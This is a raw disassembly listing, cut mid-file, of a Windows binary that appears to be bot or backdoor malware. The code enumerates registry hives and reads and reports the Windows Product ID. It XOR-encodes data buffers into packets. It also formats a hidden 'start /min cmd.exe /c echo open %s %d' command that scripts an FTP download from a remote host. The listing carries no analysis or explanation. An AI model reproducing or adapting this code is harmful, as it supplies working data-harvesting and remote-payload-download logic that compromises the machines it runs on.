		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B7F+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B74
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2930000h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		nop
		call	near ptr 2900000h


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B97+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B97+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5F74D1
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B97+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B97+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403720+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_437AC0	dd 7FE448E9h, 0E990F077h, 777E444Ch, 18F5E990h					; ___:0043F018o ...
; ---------------------------------------------------------------------------
		jg	short loc_437B49

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		db 9Ah
		db 90h
		db 0E9h, 0B2h, 0FFh
		dd 0E9907780h, 7781017Ch, 8101FCE9h
		db 77h,	0E1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
		db 0EBh
		db 90h
		db 0E9h, 0F1h, 99h
; ---------------------------------------------------------------------------
		jle	short loc_437B6D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F1D4
		retn	4
; ---------------------------------------------------------------------------


loc_437B01:				; DATA XREF: ___:off_43F1D4o
		push	esi
		mov	esi, ecx
		call	sub_437EBC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_437B17
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx


loc_437B17:				; CODE XREF: ___:00437B0Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437B22	proc near		; CODE XREF: sub_409660+4Dp
					; ___:0040AA7Dp
		nop
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A110+5p
					; sub_410030+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_437B49:				; CODE XREF: ___:00437AD0j
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 2 dup(0FAh)
		dd 0E9907780h, 777E5424h
		db 90h
; ---------------------------------------------------------------------------


loc_437B6D:				; CODE XREF: ___:00437AF4j
		jmp	near ptr 77C3FA76h
; ---------------------------------------------------------------------------
		dw 0D9E9h
		dd 837780FEh, 2300E990h, 0E9907780h, 7780FD9Ch,	487DE990h
		dd 3D83777Fh, 5109D4h, 0FF0C75FFh, 0E8042474h, 777FD25Ch
		dd 68C35990h, 5109C4h, 5109D468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 464DE990h, 0E9E9777Fh, 0C2777FF5h, 0F5F9E990h
; ---------------------------------------------------------------------------
		jg	short loc_437C51

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
